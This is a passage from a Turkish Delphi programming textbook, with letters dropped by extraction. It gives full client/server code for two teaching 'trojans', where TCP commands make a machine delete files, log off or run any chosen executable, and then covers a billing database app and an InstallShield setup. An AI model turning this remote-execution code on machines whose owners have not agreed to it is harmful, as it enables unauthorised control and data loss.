begin mesaj:=AThread.Connection.ReadLn;//portu oku if mesaj='notepad' Then begin WinExec('c:\winnt\notepad.exe',SW_SHOW);//altr AThread.Connection.WriteLn('u An Server da Nete Pad alyor'); StatusBar1.Panels[1].Text:='En Son altr Komutu Geldi'; end else if mesaj='cdac' Then begin mciSendString('set cdaudio door open',nil,0,0);//kapa a AThread.Connection.WriteLn('Cd Kapa Ald'); StatusBar1.Panels[1].Text:='En Son Cd Kapan A Komutu Geldi'; end else if mesaj='cdkapat' Then begin mciSendString('set cdaudio door closed',nil,0,0);//cd yi kapat AThread.Connection.WriteLn('Cd Kapa Kapatld'); StatusBar1.Panels[1].Text:='En Son Cd Kpan Kapat Komutu Geldi'; end else if mesaj='ekran' Then begin SendMessage(Application.Handle,WM_SYSCOMMAND,SC_SCREENSAVE,0); AThread.Connection.WriteLn('Ekran Koruyucu altrld'); StatusBar1.Panels[1].Text:='En Son Ekran Koruyucuyu altr Komutu Geldi'; end else if mesaj='sil' Then begin DeleteFile('c:\nihat.txt'); AThread.Connection.WriteLn('Dosya Silindi'); StatusBar1.Panels[1].Text:='En Son Dosya Sil Komutu Geldi'; end else if mesaj='kopyala' Then begin for i:=0 to 5 do //alt kere kopyala begin StrPCopy(ad[0],PCHar(IntToStr(i)));//yeni ismler CopyFile('c:\nihat.txt',pcHAR('c:\nihat'+ad[0]+'.txt'),FALSE);//6 dosya olutur //Kendiliinden oalan virs dosyalar bu kod ile oluturulmaktadr. end; AThread.Connection.WriteLn('Dosya Kopyaland'); StatusBar1.Panels[1].Text:='En Son Dosya Kopyala Komutu Geldi'; end 382

else if mesaj='elips' Then begin elips:=CreateEllipticRgn(0,0,Form1.Width,Form1.Height); SetWindowRgn(Form1.Handle,elips,true); AThread.Connection.WriteLn('Form Elips eklinde'); StatusBar1.Panels[1].Text:='En Son Elips Form Komutu Geldi'; end else if mesaj='comboac' Then begin SendMessage(ComboBox1.Handle,CB_SHOWDROPDOWN,200,0); AThread.Connection.WriteLn('ComboBox Ald'); StatusBar1.Panels[1].Text:='En Son ComboBox A Komutu Geldi'; end else if mesaj='kapat' Then begin ExitWindows(12,ewx_logoff); AThread.Connection.WriteLn('Kapanyor'); StatusBar1.Panels[1].Text:='En Son Kapat Komutu Geldi'; End else begin ShowMessage(mesaj); AThread.Connection.WriteLn('Mesaj Alnd'); StatusBar1.Panels[1].Text:='Mesaj Geldi'; end; end; Bu rnek iin Dosya sil ve Dosya kopyala seeneklerinde c:\nihat.txt dosyas var olarak kabul edilmitir (sizde oluturun). Aslnda daha deiik algoritmalarla daha farkl alternatifler sunulabilir (siz eklemeyi deneyip program gelitiriniz). Bu ksm artk sizlere brakyoruz. Client Uygulamas Server uygulamasna komut gnderecek olan Client uygulamasna ait form tasarm aada verilmitir. Formunuza bir adet IdTCPClient (indyClient yapranda) kontrol ile dier dme ve Edit kontrollerini yerletiriniz. Ardndan aadaki kod blounu Unit pencerenize ekleyiniz.

383

procedure TForm1.FormCreate(Sender: TObject); //Balant ayarlar begin Edit1.Text:='10.11.0.180'; Edit2.Text:='20000'; IdTCPClient1.Host:=Edit1.Text; IdTCPClient1.Port:=StrToInt(Edit2.Text); Button12.Enabled:=false; end; procedure TForm1.Button11Click(Sender: TObject); //Balan var oku:AnsiString; begin IdTCPClient1.Connect(); //balan oku:=IdTCPClient1.ReadLn;//porttan oku StatusBar1.Panels[0].Text:=oku; Button11.Enabled:=false; Button12.Enabled:=true; end; procedure TForm1.Button1Click(Sender: TObject); //NotePad altr var oku:AnsiString; begin if IdTCPClient1.Connected Then begin IdTCPClient1.WriteLn('notepad');//gnder oku:=IdTCPClient1.ReadLn;//porttan oku StatusBar1.Panels[1].Text:=oku; 384

end; end; procedure TForm1.Button2Click(Sender: TObject); //Cd A var oku:AnsiString; begin if IdTCPClient1.Connected Then begin IdTCPClient1.WriteLn('cdac');//gnder oku:=IdTCPClient1.ReadLn;//porttan oku StatusBar1.Panels[1].Text:=oku; end; end; procedure TForm1.Button3Click(Sender: TObject); //Cd Kapat var oku:AnsiString; begin if IdTCPClient1.Connected Then begin IdTCPClient1.WriteLn('cdkapat');//gnder oku:=IdTCPClient1.ReadLn;//porttan oku StatusBar1.Panels[1].Text:=oku; end; end; procedure TForm1.Button4Click(Sender: TObject); //Ekran Koruyucuyu altr var oku:AnsiString; begin if IdTCPClient1.Connected Then begin IdTCPClient1.WriteLn('ekran');//gnder oku:=IdTCPClient1.ReadLn;//porttan oku StatusBar1.Panels[1].Text:=oku; end; end; procedure TForm1.Button5Click(Sender: TObject); //Mesaj Yolla var oku:AnsiString; mesaj:AnsiString; 385

begin mesaj:=InputBox('Mesaj Giriniz','Mesaj','Selam'); if IdTCPClient1.Connected Then begin IdTCPClient1.WriteLn(mesaj);//gnder oku:=IdTCPClient1.ReadLn;//porttan oku StatusBar1.Panels[1].Text:=oku; end; end; procedure TForm1.Button6Click(Sender: TObject); //Dosya Sil var oku:AnsiString; begin if IdTCPClient1.Connected Then begin IdTCPClient1.WriteLn('sil');//gnder oku:=IdTCPClient1.ReadLn;//porttan oku StatusBar1.Panels[1].Text:=oku; end; end; procedure TForm1.Button7Click(Sender: TObject); //Kopyala var oku:AnsiString; begin if IdTCPClient1.Connected Then begin IdTCPClient1.WriteLn('kopyala');//gnder oku:=IdTCPClient1.ReadLn;//porttan oku StatusBar1.Panels[1].Text:=oku; end; end; procedure TForm1.Button8Click(Sender: TObject); //Ellips Yap var oku:AnsiString; begin if IdTCPClient1.Connected Then begin IdTCPClient1.WriteLn('elips');//gnder oku:=IdTCPClient1.ReadLn;//porttan oku StatusBar1.Panels[1].Text:=oku; 386

end; end; procedure TForm1.Button9Click(Sender: TObject); //ComboBox A var oku:AnsiString; begin if IdTCPClient1.Connected Then begin IdTCPClient1.WriteLn('comboac');//gnder oku:=IdTCPClient1.ReadLn;//porttan oku StatusBar1.Panels[1].Text:=oku; end; end; procedure TForm1.Button10Click(Sender: TObject); var //Bilgisayar Kapat oku:AnsiString; begin if IdTCPClient1.Connected Then begin IdTCPClient1.WriteLn('kapat');//gnder oku:=IdTCPClient1.ReadLn;//porttan oku StatusBar1.Panels[1].Text:=oku; end; end; procedure TForm1.IdTCPClient1Disconnected(Sender: TObject); begin StatusBar1.Panels[0].Text:='Balant Kesildi'; end; procedure TForm1.Button12Click(Sender: TObject); //Balanty Kes begin IdTCPClient1.Disconnect; Button12.Enabled:=false; Button11.Enabled:=true; end; imdi iki uygulamay da aadaki ekilde yanyana getirerek altrn (veya varsa iki bilgisayarnz ayr ayr bilgisayarlarda da altrabilirsiniz. Zaten asl ama budur).

387

Client uygulamasndan yapmanz gereken ilk ilem Balan dmesine tklayarak servera balanmay salamak olmaldr. Arkasndan dmelere teker teker tklayarak etkisini dier bilgisayarda izleyebilirsiniz. Aadaki ekran grnts Note Pad altr dmesine tklanldktan sonra alnmtr (tabiiki dier makinedeki notepad alt).

Balanty kes dmesine tklamadnz srece (baka sebeplerden de balant kesilebilir) dier dmeleri de deneyebilirsiniz. Server programnn alma mant, gnderilen text formatl mesajlar dallanmaya tabi tutarak herbiri iin farkl kodlarn iletilmesini salamaktan ibarettir (uzantan kumanda cihazlarnda da yaylan gn rengi dallandrlmaktadr).

388

Uygulama 14:Daha Gelimi Bir Trojan Bu rneimizde yine iki proje oluturacaz. Server uygulamas gnderilecek olan komutlar yorumlamak iin oluturulacak, Client uygulamas ise servera komut gndermek iin kullanlacaktr. ki uygulamaya ait tasarm grntleri aada verilmitir. Server Uygulamas

rneimiz iin formunuza bir adet FileListBox, bir adet DirectoryListBox ve bir adet DriveComboBox (de Win 3.1 yapranda bulunabilir) yerletirin. Ardndan IdTCPServer ve bir adet Memo kontroln formunuzun zerine aln. Son olarak aadaki kod blounu Unit pencerenize ekleyiniz. procedure TForm1.FormCreate(Sender: TObject); begin DriveComboBox1.DirList:=DirectoryListBox1; IdTCPServer1.DefaultPort:=20000; IdTCPServer1.Active:=true; end; procedure TForm1.DriveComboBox1Change(Sender: TObject); begin DirectoryListBox1.Drive:=DriveComboBox1.Drive; end; procedure TForm1.DirectoryListBox1Change(Sender: TObject); begin FileListBox1.Directory:=DirectoryListBox1.Directory; end;

389

procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread); var makina:AnsiString; begin makina:=AThread.Connection.Socket.Binding.PeerIP; StatusBar1.Panels[0].Text:=makina+' Balanmak stedi'; end; procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread); var mesaj:AnsiString; i,satir:Integer; begin mesaj:=AThread.Connection.ReadLn();//portu oku if mesaj='calistir' Then begin WinExec(PChar(FileListBox1.FileName),SW_SHOW);//altr AThread.Connection.WriteLn('Uygulama altrld'); StatusBar1.Panels[1].Text:='Trojan Uygulama altrd'; memo1.Lines.Add(mesaj); end else if mesaj='gonder' Then begin satir:=FileListBox1.Items.Count; for i:=0 to satir-1 do begin AThread.Connection.WriteLn(FileListBox1.Items.Strings[i]);//satr yolla StatusBar1.Panels[1].Text:='Liste Gitti'; end; FileListBox1.ItemIndex:=0;//ilk satra git end else begin FileListBox1.ItemIndex:=StrToInt(mesaj)+1; end; end; Uygulamay altrdnzda istediiniz bir directory seerek client bilgisayardan gnderilecek olan komutu bekleyebilirsiniz. Koda dikkat edecek olursanz client bilgisayardan gonder diye bir mesaj gelirse FileListBox ierisinde yer alan tm dosyalar dier bilgisayara gnderilecektir. ayet calistir diye baka bir mesaj gelirse bu durumda da seili olan exe dosyasnn altrldn greceksiniz. 390

Client Uygulamas Client uygulamas iin aadaki gibi formunuza bir adet IdTCPClient, bir adet IdAntiFreeze, bir adet Timer bir adet FileListBox iki adet Button ve adet Edit kontrol yerletiriniz.

Programn alma mant yle olacak. ncelikle Balan dmesine tklayarak server bilgisayarna balanmalsnz. Daha sonra Komut Satr ksmna gonder yazp Komut Gnder dmesine tklayn. Bu sayede serverda yer alan tm dosya listesi elinize gemi olacak (ne gzel deilmi..). Ardnda bu dosyalar zerinde ift tklama yaparsanz (exe olsun yoksa hata verir) server bilgisayarnda o programn altn greceksiniz. Hatrlatalm mous veya yn tularyla dosya isimleri arasnda dolarsanz ayn ilemi server bilgisayarda yapacaktr. Hadi kolay gelsin.. procedure TForm1.FormCreate(Sender: TObject); begin FileListBox1.Clear; Edit1.Text:='10.11.0.180'; Edit2.Text:='20000'; Timer1.Interval:=100; IdAntiFreeze1.IdleTimeOut:=10; IdAntiFreeze1.Active:=true; end; procedure TForm1.Button2Click(Sender: TObject); begin IdTCPClient1.Host:=Edit1.Text; IdTCPClient1.Port:=StrToInt(Edit2.Text); IdTCPClient1.Connect(); 391

end; procedure TForm1.IdTCPClient1Connected(Sender: TObject); begin StatusBar1.Panels[0].Text:='Balant Kuruldu'; end; procedure TForm1.IdTCPClient1Disconnected(Sender: TObject); begin StatusBar1.Panels[0].Text:='Balant Kesildi'; end; procedure TForm1.Button1Click(Sender: TObject); var mesaj:AnsiString; begin mesaj:=Edit3.Text; IdTCPClient1.WriteLn(mesaj); end; procedure TForm1.FileListBox1KeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); var sira:Integer; begin if (key=vk_UP) OR (KEY=VK_DOWN) Then begin sira:=FileListBox1.ItemIndex; IdTCPClient1.WriteLn(IntToStr(sira)); end end; procedure TForm1.FileListBox1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); var sira:Integer; begin sira:=FileListBox1.ItemIndex; IdTCPClient1.WriteLn(IntToStr(sira-1)); end; procedure TForm1.Timer1Timer(Sender: TObject); var oku:AnsiString; begin if IdTCPClient1.Connected Then begin oku:=IdTCPClient1.ReadLn(); 392

FileListBox1.Items.Add(oku); end; StatusBar1.Panels[1].Text:=oku; end; procedure TForm1.FileListBox1DblClick(Sender: TObject); //server da dosya altr var oku:AnsiString; begin if IdTCPClient1.Connected Then begin IdTCPClient1.WriteLn('calistir'); oku:=IdTCPClient1.ReadLn(); StatusBar1.Panels[1].Text:=oku; end; end; imdi iki uygulamaya ait exe dosyalarn ayn anda altrn.

Server uygulamasn altrdktan sonra herhangi bir klasr seerek ierisindeki dosyalar yukardaki ekilde listeletin. Dosyalarn ierisinde exe olmasna dikkat edin nk birazdan gndereceimiz komutla bu exe dosyalarn altracaz. imdi de Client uygulamasndan yapmanz gerekenleri aklayalm. ncelikle aadaki gibi almasn salayn. Server bilgisyarnn IP sini ve port numarasn (ikisindede ayn olacak) girerek Balan isimli dmeye tklaynz. Gerekli aklama bilgileri status bara ait panelde sizlere iletilecektir.

393

Daha sonra Komut Satr kutusuna gonder yazp Komut Gnder dmesine tklayn. Servera ait tm dosyalarn listeye eklendiini greceksiniz. imdi yapmanz gereken tek ey bir exe dosyas bulup zerine ift tklamak.

394

Uygulama 15:Network Uygulamalarnda Veri Taban Kullanmak rneimiz iin yine iki ayr proje gelitireceiz. Extra yapacamz ilem tm kaytlar veri tabanna yazdrmak olacaktr. Ama client uygulamas server bilgisayarna balandktan sonra ne kadar bal kaldn tablolar halinde tutabilmek (servis salaycnz sizin iin benzer bir program altrmaktadr). ncelikle aadaki tabloyu paradoxta oluturunuz.

Server Uygulamas

395

Server uygulamas iin yukardaki tasarm oluturunuz. Karklklara izin vermemek iin tm ilemlerinizi adm adm izah edeceim. Birinci admda formunuza bir adet Table nesnesi yerletirerek yukardaki tablonuza balayn (DataBaseName ve TableName). kinci admda formunuza bir adet DataSource ve Bir adet DBGrid nesnesi yerletirerek DataSource kontrolnn DataSet zelliine Table1 , DBGrid kontrolnn de DataSource zelliine DataSource1 kontroln aktarn. nc admda table1 kontroln seerek mousun sa tuuna tklayn. Alan menden Fields Editor seeneini sein. Beyaz bir pencere alacaktr, bu pencerede mousun sa tuuna tklayarak Add All Fields seeneini seerek tm stunlar projenize ekleyin. Drdnc admda formunuza bir adet DBNavigator kontrol yerletirerek DataSource zelliine DataSource1 kontroln aktarn. Beinci admda formunuza bir adet Timer ve bir adet IdTCPServer kontrol yerletiriniz. Bu admda aadaki kod blounu Unit pencerenize ekleyiniz. var sayac:Integer=0; procedure TForm1.FormCreate(Sender: TObject); begin IdTCPServer1.DefaultPort:=20000; IdTCPServer1.Active:=true; StatusBar1.Panels[0].Text:='Balant Bekleniyor'; Timer1.Interval:=1000;//bir sn Timer1.Enabled:=true; end; procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread); var makina:AnsiString; begin StatusBar1.Panels[0].Text:='Balant stendi'; makina:=AThread.Connection.Socket.Binding.PeerIP; try Table1.Insert; Table1ABONEADI.Text:=makina; Table1BTARIH.AsDateTime:=Date; Table1BSAATI.AsDateTime:=Time; Table1KONTOR.AsCurrency:=100; Table1SAYI1.AsInteger:=sayac; Table1SAYI2.AsInteger:=33333; 396

Table1.Post;//Yazdr except end; end; procedure TForm1.Timer1Timer(Sender: TObject); begin inc(sayac); end; procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread); var ara:Boolean ; fark:Integer; adres,mesaj,zaman:AnsiString; begin mesaj:=AThread.Connection.ReadLn();//portu oku if mesaj='kapat' Then begin adres:=AThread.Connection.Socket.Binding.PeerIP; zaman:=''; ara:=table1.Locate('ABONEADI;SON',VarArrayOf([adres,zaman]),[]); if ara Then//Kayt bulunduysa begin Table1.Edit; Table1.FieldByName('ASAATI').AsDateTime:=Time; Table1.FieldByName('SAYI2').AsInteger:=sayac; fark:=Table1SAYI2.AsInteger-Table1SAYI1.AsInteger; Table1SON.AsString:='KAPALI'; Table1TUTAR.AsCurrency:=Table1KONTOR.AsCurrency*fark ; Table1.Post; end; StatusBar1.Panels[1].Text:='Bilgisayar Ayrld'; end; end; Tablo da oluturulan SON isimli stun, sadece kayt bulma aamasnda o makinaya (birden fazla kere balanm olabilir. Ama sadece en son balants bo olacaktr. nk balants koptuu zaman stuna KAPANDI deeri yazdrlmaktadr) ait en son kaydn bulunabilmesi iin eklenmitir. Ayrca eklenen SAYI stunlar balang ve ayrl zamanlarn tutarak (sayac), aradaki fark KONTOR fiyatyla arpp TUTAR stununa ait deeri hesaplatabilmek iin eklenmitir.

397

Client Uygulamas Client uygulamas iin aadaki tasarm oluturunuz. Karkla yer vermemek iin yaplan ilemleri adm adm izah edeceim.

Birinci admda formunuza bir adet IdTCPClient kontrol ile bir adet IdAntiFreeze (kilitlenmeleri engellemek iin) kontrol yerletiriniz. kinci admda formunuza iki adet Memo kontrol , iki adet Edit ve ki adet Button kontrol ekleyiniz. nc admda aadaki kod blounu Unit pencerenize ekleyiniz. procedure TForm1.FormCreate(Sender: TObject); begin Edit1.Text:='10.11.0.180'; Edit2.Text:='20000'; IdAntiFreeze1.IdleTimeOut:=100; IdAntiFreeze1.Active:=true; Button2.Enabled:=false; end; procedure TForm1.Button1Click(Sender: TObject); //Balan begin if IdTCPClient1.Connected=false Then begin IdTCPClient1.Host:=Edit1.Text; IdTCPClient1.Port:=StrToInt(Edit2.Text); IdTCPClient1.Connect();//Balan Button2.Enabled:=true; Button1.Enabled:=false; 398

StatusBar1.Panels[0].Text:='Balant Saland'; end; end; procedure TForm1.Button2Click(Sender: TObject); //Balanty Kes begin if IdTCPClient1.Connected Then begin IdTCPClient1.WriteLn('kapat'); IdTCPClient1.Disconnect; Button2.Enabled:=false; Button1.Enabled:=true; end; end; procedure TForm1.Memo1KeyPress(Sender: TObject; var Key: Char); //Gnder var mesaj,oku:AnsiString; begin if Key=#13 Then //Enter tuuna basarsa begin if IdTCPClient1.Connected Then //Balant varsa begin mesaj:=Memo1.Lines.Strings[Memo1.Lines.count-1]; IdTCPClient1.WriteLn(mesaj); oku:=IdTCPClient1.ReadLn();//portu oku Memo2.Lines.Add(oku); StatusBar1.Panels[1].Text:='Mesaj Gnderildi'; end; end end; imdi iki uygulamay da aadaki ekilde alt alta gelecek ekilde altrn (farkl iki bilgisayarda altrrsanz daha iyi olur). Ardndan Client uygulamasnda yer alan Balan isimli dmeye tklayn. Kaydnzn otomatik olarak Server uygulamasndaki tabloya yazldn greceksiniz (Ayrl saati stunu ile tutar stunu bo braklmaktadr). Ardndan Balanty Kes dmesine tkladnzda bo braklan ASAATI stunu ile TUTAR stunu hesaplanarak ilgili yerlere eklenecektir.

399

nce Balan ardnda Balanty Kes dmelerine tklayn Server uygulamanza ait grnt aadaki ekilde oluacaktr.

400

BLM 13 SETUP PROJES OLUTURMAK

402

Setup Projesi Oluturmak: Oluturduunuz projeyi baka bilgisaylarda altrmak iin setup dosyas haline getirmeli, dier bilgisayarlara oradan ykleme yapmalsnz. Aksi takdirde bilhassa ierisinde BDE uygulamalar olan projeler iin bir ok hata mesajyla karlaacaksnz. Bu blmde sizlere Delphi projelerinin setup dosyalarn nasl oluturabileceinizi gstereceim. Setup dosyas oluturmak iin Delphi CD si ierisinde bulunan InstallShield Express yazlmn kurmanz gerekecektir. Aada pencere gsterilmektedir.

InstallShield Express yazlmn kurduktan sonra Windows un Start mensne aadaki ekilde eklenmi olmas gerekecektir.

imdi yukardaki admlar izleyerek InstalShieeld->Expres uygulamasn balatnz. 403

Karnza aadaki pencere alacaktr. Bu pencerede daha nceden hazrlam olduunuz bir setup projesi varsa ve onu amak istiyorsanz Open a Project seeneini, yeni batan bir setup dsyas oluturacaksanz Create a new Project linkine tklamalsnz.

Biz yeni batan bir setup dosyas oluturacamz iin Create a new Project seeneini seerek aadaki pencerenin almasn saladk.

Alan yukardaki pencerede Blank Setup Project iconunu seip Project Name and Location kutusuna Setup dosyanz kaydedeceiniz klasr belirleyin (Herhangi bir klasr olabilir). 404

Ardndan projenizin isminide deitirerek (your project name-1) projenize uygun istediiniz bir isim verin.

Artk Create buttonuna tklayabilirsiniz. Oluturacanz setup dosyasn belirttiiniz klasrn ierisine kaydedecektir.

405

Yukarda gsterilen hcrelere uygun alan deerleri girerek bir sonraki adma geiniz (Bu hcre deerlerine General Information Seeneine tklarsanz eriebilirsiniz.). Bu admda Setup Types seeneini aktif hale geirip programnzn kurulum seeneklerini belirleyebilirsiniz. Delphi sizlere kurulum iin ayr seenek sunmaktadr (Typical-Minimal-Custom) Dilediinizi veya hepsini beraber seebilirsiniz.

Eer tm seenekleri seerek dier admlara geerseniz herbiri iin kurulmas gereken dosyalar ayr ayr belirlemek durumunda kalrsnz (Genellikle ok byk uygulamalar iin gerekli olabilecek bir seenektir). Yukardaki seeneklerden Typical olan seip dier admlara geiyoruz. Bu admda Specify Application Data blmn aktifletirin. Yukarda semi olduunuz kurulumlara ait kullanlacak olan dosya ve klasrlerin tamamn buradan ayarlamalsnz. En st blmden Allways seeneini sein (Sadece Typical iaretli ise dierleri gzkmeyecektir), kurulmas zorunlu olan dosyalar bu blmde yer alan Destination Computers files ksmna ekleyin. INSTALLDIR aktifken projenize ait exe dosyasn, DATABASEDIR aktifken de uygulamanzn kullanaca veritaban dosyalarn ekleyin.

406

Pencerenize ait en son ekran grnts aada verilmitir.

Kurulumunuz iin gerekli dosyalar belirledikten sonra Object/Merge blmne geerek ayet varsa BDE ayarlarn yapalm. DataBase Desktop la oluturulan bir veritaban balantnz varsa imdiki blmde muhakkak bu ilemi yapmanz gerekecektir. Hatrlatalm sayet bir ADO kontrol kullanarak Microsoft rnlerine veya dier veritaban uygulamalarna balant kurduysanz yine bu ilemi uygulamak zorundasnz. Aksi takdirde setup dosyanz dier bilgisayarlara yklediinizde tablolarn bulunamadna dair ok skc uyarlarla karlaacaksnz. Programnzda kullanabileceiniz tm veritaban seeneklerini InstallShield Object/Merge Modules ksmnda bulabilirsiniz. Yapmanz gereken tek ey bu seenein iaret dmesini aktifletirmekten ibaret olacaktr. Aadaki ekran grnts Object/Merge Modules seenei iaretlendikten sonra alnmtr. Uygulamamzda sadece BDE Veritaban tablolarndan

407

bulunduu iin, InstallShield Object/Merge Modules ksmndan BDE_ENT seenek dmesini aktif hale geirin.

Karnza Welcome to the BDE Object Wizard penceresi alacak, Delphi sizleri ynlendirecektir. Next dmesine tklayn.

Bu pencereden programnza belirleyebilirsiniz.

ait

ayar

dosyalarnn

tutulaca

bir

dosya

408

Next dmesine tklayarak dier pencereye geebilirsiniz. Yeni pencereden BDE uygulamalar ile yeni bir dosya oluturacamz iin Launch dmesine tklayn. Aadaki pencere alacaktr.

Bu pencerede Add dmesine tklayarak uygulama ierisinde kullandnz Alias isimlerini belirleyin. Karnza aadaki pencere alacaktr.

Alias Name ksmnda programnzn kulland tm Alias lar seerek uygulamanza ekleyin. Hatrlatalm setup projenizi yklediiniz bilgisayarlar bu alias isimlerini kullanarak tablolarnza balanabilecektir. Bu yzden tm client bilgisayarlarda Alias ayarlarn teker teker yapmak zorundasnz. Aksi takdirde yine balant salanamadna dair sinir bozucu uyarlar alrsnz. 409

Next ve Finish dmelerine tamamlanmasn salaynz.

tklayarak

Wizard

ileminizin

Gelelim Configure The Target System blmne, bu ksmda, setup projeniz dier bilgisayara kurulurken oluturaca ksayollar belirlemenizi salayacaktr.

Yukardaki pencerede Program Files altna ve Desktop zerinde iki adet ksa yolun oluturulmas salanmaktadr. Ayn mantkla ayet Registry ye kayt yaptracaksanz Registy blmne gerekli eklentileri yapmalsnz. Uygulamanza ait tm setup ayarlarn tamamladktan sonra derlenmesi ilemini balatabilirsiniz. Bu ilem iin Prepare for Release seeneini seerek, bir alt klasrnde gsterilen Build Your Release penceresinin aktiflemesini salayn. Aadaki pencere alacaktr. Bu pencereden setup dosyasn oluturacanz media cihazn belirlemenizi isteyecektir. CD ROM veya DVD ROM seeneklerinin herbiri burada mevcuttur. Birden fazla DVD ROM gsterilmesinin sebebi kapasite farkndan kaynaklanmaktadr. Sa ksmda yer alan ykleme seeneini seerek, mous ile zerinde sa tua tklaynz. Alan menden Build sekmesine tklayarak uygulamanzn derlenmesini salaynz. Derlenme annda en altta yer alan pencere sayesinde yaplan tm ilemleri detayl olarak izleme imkanna sahip olacaksnz. ayet bu pencerede herhangi bir hata mesaj almazsanz uygulamanzn dzgn bir ekilde Compile edilmi olduu anlamn karabilirsiniz. 410

Uygulamanzn Compile edilmi halinden sonraki ekran grnts aada verilmitir.

Setup Projesinin Dier Bilgisayarlara Yklenmesi: Derlemi olduunuz projeyi dier bilgisayarlara ykleyebilmek iin aadaki admlar izlemelisiniz. Setup projesini oluturduunuz klasr an (CD ROM ). Setup Dosyanz ierisinde aadaki ekilde gzkecektir.

TeknikServis2003 (vermi olduunuz ismi) klasr zerinde mous ile ift tklayn. Aadaki admlar izleyin. 411

....Teknikservis2003\Express\cd_rom\DiskImages\Disk1\setup.exe Setup.exe dosyasn altrp gerekli admlar izledikten sonra programnz o bilgisayara yklenmi olacaktr. Start->Program Files seeneklerini izlerseniz aadaki ekilde bir grnt elde edersiniz.

Ayn zamanda Desktop zerinde Migros isimli ksayolu oluturduuna da dikkatinizi ekmek istiyorum. imdi Start->Program Files->Migros->Teknik 2003 admlarn izleyerek uygulamanz altrnz.

Program altrdktan gerekleecektir.

sonraki

ekran

grntnz

yukardaki

ekilde

412

SON SZ Serimizin altnc kitabn da tamamlam bulunuyoruz. Dier kitaplarmza gstermi olduunuz ilgiyi aynen devam ettirmeniz en byk temennimiz olacaktr. Kitaplarmz hkkndaki tm eletiri ve nerilerinizi prestige@prestigeturk.com adresine gnderebilir, karlatnz problemler iin bu adresten zm isteyebilirsiniz. TCP/IP Protokol hususunda bilgisinden faydalandmz Osman ALIa teekkr bir bor bilmekteyiz.

413

You might also like